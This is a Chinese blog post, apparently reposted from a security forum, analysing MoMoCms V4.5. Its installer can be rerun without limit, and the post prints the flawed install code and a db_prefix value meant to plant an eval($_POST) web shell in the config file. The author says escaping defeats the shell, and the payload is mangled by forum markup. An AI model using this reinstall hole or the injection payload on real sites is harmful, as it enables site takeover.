注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

MoMoCmsV4.5无限重装以及Getshell  

2015-02-02 23:11:05|  分类: CMS |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
电梯直达 跳转到指定楼层
楼主
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog 发表于 4 天前 | 只看该作者 |只看大图 回帖奖励
0x00:本来之前是交乌云的,后来出现了这种情况,我是醉了
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog

0x01:分析
Install安装文件
安装文件使用required获取
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog
提交到install_do.php
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog
启动转义
然后将之前获取的值替换成post获取然后给db
写入database.php
下面的也是一样的意思
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog
用;换行来分割
最后执行set sql_mode啥的
最后就执行插入添加管理账号密码的sql语句
MoMoCmsV4.5无限重装以及Getshell - IversOn5 - IversOn5 blog
没有任何判断,没有生成lock文件啥的。
所以可以无限制重装


0x02:Getshell
  1. $db1=file_get_contents("../database.php");
  2. $db1=str_replace("{DB_HOST}",$_POST['db_host'],$db1);
  3. $db1=str_replace("{DB_USER}",$_POST['db_user'],$db1);
  4. $db1=str_replace("{DB_PSW}",$_POST['db_psw'],$db1);
  5. $db1=str_replace("{DB_NAME}",$_POST['db_name'],$db1);
  6. $db1=str_replace("{DB_PREFIX}",$_POST['db_prefix'],$db1);
  7. $db1=str_replace("{URL}",$_POST['url'],$db1);
  8. file_put_contents("../database.php",$db1);

  9. $db2=file_get_contents("../admin/database.php");
  10. $db2=str_replace("{DB_HOST}",$_POST['db_host'],$db2);
  11. $db2=str_replace("{DB_USER}",$_POST['db_user'],$db2);
  12. $db2=str_replace("{DB_PSW}",$_POST['db_psw'],$db2);
  13. $db2=str_replace("{DB_NAME}",$_POST['db_name'],$db2);
  14. $db2=str_replace("{DB_PREFIX}",$_POST['db_prefix'],$db2);
  15. $db2=str_replace("{URL}",$_POST['url'],$db2);
  16. file_put_contents("../admin/database.php",$db2);

  17. $dbm=file_get_contents("../m/database.php");
  18. $dbm=str_replace("{DB_HOST}",$_POST['db_host'],$dbm);
  19. $dbm=str_replace("{DB_USER}",$_POST['db_user'],$dbm);
  20. $dbm=str_replace("{DB_PSW}",$_POST['db_psw'],$dbm);
  21. $dbm=str_replace("{DB_NAME}",$_POST['db_name'],$dbm);
  22. $dbm=str_replace("{DB_PREFIX}",$_POST['db_prefix'],$dbm);
  23. $dbm=str_replace("{URL}",$_POST['url'],$dbm);
  24. $dbm=str_replace("{URL_M}",$_POST['url']."/m",$dbm);
  25. file_put_contents("../m/database.php",$dbm);

复制代码

我们可以看到,它会将配置文件写入当前的database.php和M目录下和admin目录下
  1. $db = new PDO("mysql:host=".$_POST['db_host'].";dbname=".$_POST['db_name'], $_POST['db_user'], $_POST['db_psw']); //初始化一个PDO对象
  2. }
复制代码

这一段,能看到将dbhost、dbport、dbname、dbuser、dbpwd写入数据库,所以咯,不能乱写,只能写dbprefix和url
所以构造
  1. dbprefix=sb_';[url=home.php?mod=space&uid=5528]@eval[/url] ($_POST[sion]);$sion='
复制代码


然后我就会告诉你它转义了。。。。。还是在后台截断什么吧,getshell还是算了,我心痛

8.png (59.33 KB, 下载次数: 0)

8.png





























  评论这张
 
阅读(106)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017